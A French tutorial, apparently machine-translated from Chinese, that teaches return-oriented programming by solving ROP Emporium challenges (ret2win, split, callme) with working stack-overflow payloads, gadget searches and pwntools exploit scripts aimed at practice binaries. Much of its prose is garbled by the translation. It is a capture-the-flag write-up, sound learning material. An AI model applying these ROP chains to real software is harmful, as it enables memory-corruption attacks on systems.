1 Introduction à ROP
La programmation orientée retour (Return-Oriented Programming, ROP) est une technologie d'attaque de mémoire avancée, principalement pour contourner les moyens de défense du système d'exploitation NX. Cette technologie utilise souvent certaines vulnérabilités existantes, en particulier les dépassements de tampon. Les attaquants contrôlent les appels de pile pour détourner le flux de contrôle des programmes et exécuter des séquences d'instructions de langage machine ciblées (gadgets). Ces combinaisons de gadgets peuvent exécuter avec succès nos propres Logique.
Nous modifions l'adresse de retour pour pointer vers l'instruction vers laquelle nous voulons pointer. Si cette instruction se termine par ret, alors sp + 4, à ce moment, l'espace suivant dans l'adresse de retour d'origine dans la pile devient l'adresse de retour ( ret
instruction Équivalent à pop eip; esp = esp + 4), nous pouvons répéter ce processus sans arrêt, à condition que chaque instruction à pointer se termine par ret. (L'exécution de Ret fera sp + 4), de sorte que les gadgets peuvent être exécutés en continu.
Il existe de nombreux types de gadgets, donc je ne les énumérerai pas un par un. Prenons un cas pratique pour analyser comment construire une chaîne ROP pour obtenir l'effet de l'exploitation de la vulnérabilité. Ce qui suit fournit un exemple utilisant le titre fourni par ROP Emporium. Si avant cela, vous pouvez avoir une bonne compréhension de la pile, des appels de fonction et des paramètres de passage, il est préférable. Si vous êtes confus dans le sujet, je pense que l'article que j'ai écrit avant peut aider: comprendre le registre ebp & esp, le processus d'appel de fonction, le transfert de paramètres de fonction et l'équilibre de la pile du point de vue de l'assemblage
2 ROP Emporium
ROP Emporium fournit 7 fichiers binaires avec une difficulté croissante et est divisé en 32 bits et 64 bits. Les failles de ces programmes sont les mêmes, elles sont toutes un simple débordement de pile, et les options de compilation sécurisée de tous les fichiers sont également les mêmes
Puisque l'option de compilation sûre que la pile n'est pas exécutable a été activée, nous n'avons aucun moyen d'exécuter notre charge utile en écrivant le shellcode et en pointant directement l'adresse de retour vers le shellcode. La méthode la plus directe est ROP et laisse l'adresse de retour pointer vers l'instruction d'assemblage contenue à l'origine dans le programme. Bien que tous soient des débordements de pile, ces 7 binaires contiennent différents gadgets qui peuvent être utilisés, et la difficulté est également de peu profonde à profonde
Vulnérabilité
Dans la fonction pwnme, une variable est allouée. Cette variable est 0x28 = 40 octets à partir du bas de la pile, et la chaîne entrée par l'utilisateur est stockée dans cette variable. Par conséquent, une fois que l'entrée de l'utilisateur dépasse 40 octets, un débordement de pile se produit.
Si vous vous sentez abstrait, à partir du code décompilé IDA, vous pouvez voir la logique du
programme. Les failles de chaque programme sont trouvées. L'étape suivante consiste à examiner Dans chaque programme, quels sont les fragments de code binaire qui peuvent être utilisés, c'est-à-dire ce que nous appelons gadget, les enchaîner, vous pouvez obtenir des résultats inattendus.
2.1.1 ret2win32
Par shift + F12
le moyen de trouver un mot - clé, combinée avec le code des citations, il est facile de trouver ret2win()
la fonction, le code que vous souhaitez effectuer
ret2win()
Le code de démontage est le suivant, ce qui est également assez simple
Par conséquent, les points d'adresse de retour 0x08048659
, 0x08048672
peuvent obtenir l'effet désiré
# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python
Résultat de l'opération
2.1.2 ret2win
Les programmes 64 bits sont différents des programmes 32 bits, qui utilisent des registres pour transmettre des paramètres au lieu de trouver les paramètres sur la pile via ebp. Bien sûr, il n'y a pas d'impact réel sur cette question. Mais dans ret2win, le décalage des variables locales qui peuvent déborder est différent de 32 bits
La distance entre la variable entrée par l'utilisateur ici et rbp est 0x20 = 32 octets , donc lors de l'écriture du code d'exploit, vous devez remplir 32 + 8 octets de données inutiles (les principes des autres exploits et les gadgets disponibles et 32 bits Cohérent)
python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
Résultat de l'opération
2.2.1 split32
La différence avec ret2win32 est que cette fois il n'y a pas de code d'exécution en une seule étape. Notre idée est de laisser pointer l'adresse de retour 0x08048657
, mais en même temps de spécifier les paramètres de la fonction système. 0x0804A030
Stocké les paramètres que nous voulons.
# data
.data:0804A030 public usefulString
.data:0804A030 usefulString db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652 push offset command ; "/bin/ls"
.text:08048657 call _system
Première méthode
Fonctionnement direct call _system
commande, les paramètres de donjon immédiatement suivi, qui ne nécessite pas une pile équilibrée. Système tel que lors de l' appel du sous - programme, l'espace d'empilement de la boîte, les détails, on peut se référer apprécié ebp & registre esp, un appel de fonction, les paramètres de la fonction sont transmis à partir de l'assemblage et l'angle de l'équilibre de la pile
|----------------|
|ebp:aaaa
|----------------|
|返回地址:0x08048657 ——-—> 上一个函数执行 ret, sp + 4
|----------------| 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数 push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|
Étant donné que le programme 32 bits trouve le paramètre formel en fonction du décalage d'ebp, et ici, l'appel direct call _system
, ebp par rapport à la fonction précédente position ebp n'a pas changé, donc la position du paramètre n'a pas changé. Le code d'exploitation est le suivant
# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
Deuxième méthode
Trouvez l'emplacement du plt du système , l'adresse de retour déborde directement à cette adresse, puis passez les paramètres, mais dans ce cas, vous devez équilibrer la pile, pourquoi? Cela doit encore analyser les changements de pile pendant l'appel de fonction.
Ceci est l'entrée du système dans plt
.plt:08048430 ; int system(const char *command)
.plt:08048430 _system proc near ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command = dword ptr 4
.plt:08048430
.plt:08048430 jmp ds:off_804A018
.plt:08048430 _system endp
Si l'adresse de retour du débordement est directement remplacée par le système correspondant en plt, l'espace de pile est le suivant
|----------------|
|ebp:aaaa
|----------------|
|返回地址:0x08048430 ——-—> 上一个函数执行 ret, sp + 4
|----------------| xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数 ebp + 8 找到的参数位置
Par conséquent, après avoir renvoyé l'adresse, 4 autres octets doivent être remplis pour suivre les paramètres
python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32
Résultat de l'opération
2.2.2 scission
Les programmes 64 bits utilisent des registres pour transmettre les paramètres. Le premier paramètre est stocké dans le registre rdi. À ce stade, des outils sont nécessaires pour trouver un code d'assemblage spécifique.
ROPgadget
Est un excellent outil de recherche de gadgets, son utilisation est la suivante
$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret
Ou plug-in utilisé gdb peda
qui vient avec ROPsearch
la commande
gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3') pop rdi; ret
La pile construite est la suivante
|----------------|
|rbp:aaaa aaaa
|----------------|
|返回地址:0x400883 ret # sp - 8 sp 指向 下一行
|----------------| pop rdi # sp - 8 将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag ret # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈
Exploiter
# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
Résultat de l'opération
2.3.1 callme32
Partant de cette question, c'est un peu plus difficile, principalement parce que le niveau logique du code devient plus compliqué. Les deux premières questions appartiennent à ret2text
cette question. Cette question présente le fichier de bibliothèque écrit par moi-même. La chaîne ROP peut utiliser les instructions binaires du fichier .so, nous l'appelons doncret2lib
Fonction usefulFunction
utilise trois fonctions _callme_one two three
, et ces trois fonctions sont des symboles externes. Utilisez readelf ou objdump pour afficher les dépendances requises par le fichier binaire
root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
0x00000001 (NEEDED) Shared library: [libcallme32.so]
0x00000001 (NEEDED) Shared library: [libc.so.6]
Ces trois fonctions sont des fonctions de bibliothèque non standard, il est inévitable dans le libcallme32.so
fichier. Utilisez le démontage IDA pour voir le rôle des trois fonctions
callme_one
Lire le contenu du drapeau crypté
callme_two
Cycle ou volonté, le décryptage, et il y a une variable globale g_buf
dans
callme_three
Boucler ou continuer à déchiffrer et imprimer le résultat
Par conséquent, la chaîne ROP finale doit exécuter trois fonctions en séquence, mais chaque fonction doit transmettre trois paramètres de 1, 2 et 3, afin que la fonction puisse aller à la bonne branche et imprimer l'indicateur. Ici et ne pas lancer directement usefulFunction
la fonction, vous ne pouvez trouver une place dans les trois fonctions de plt. Notez que nous avons déclaré dans split32 que la pile doit être équilibrée. Nécessité de mettre trois paramètres, ce qui correspond, mais nécessite également trois pop
instructions à l' équilibre, sur la section de pile équilibrée ont dit
root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1
Unique gadgets found: 7
0x080488a9
Pour répondre à nos besoins, le code d'utilisation final est donc le suivant
from pwn import *
sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")
one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)
payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args
sh.sendline(payload)
sh.recv()
Résultat de l'opération
2.3.2 callme
Les programmes 64 bits utilisent des registres pour transmettre les paramètres (les deux ou trois premiers paramètres correspondent à rdi rsi rdx), plutôt que la pile, qui était déjà mentionnée dans la section précédente. Si vous ne savez pas trop sur la participation de masse, bienvenue à comprendre ebp et enregistrer esp, un appel de fonction, le passage des paramètres de fonctionnement et l' équilibre de la pile du point de vue d'ensemble . Ici aussi, nous devons trouver pop rdi, pop rsi, pop rdx, afin de pouvoir passer des paramètres
# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret
Cette pile doit être soigneusement construite et est différente des programmes 32 bits
from pwn import *
sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")
one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0
args = p64(0x01) + p64(0x02) + p64(0x03)
payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)
sh.sendline(payload)
sh.recv()
Résultat de l'opération
3 Résumé
Dans plusieurs cas pratiques, nous avons analysé comment utiliser la chaîne ROP pour atteindre l'objectif de contrôler le flux du programme. Dans cette échappatoire, ret2win et split appartiennent à ret2text
, et l'adresse de retour pointe vers un morceau de code dans ce programme; callme appartient à ret2lib
, ou ret2plt
(ce nom n'est pas commun), l'adresse de retour pointe vers une fonction de la bibliothèque libc. Si vous insistez pour comprendre ces questions, les problèmes ultérieurs ne seront pas un problème.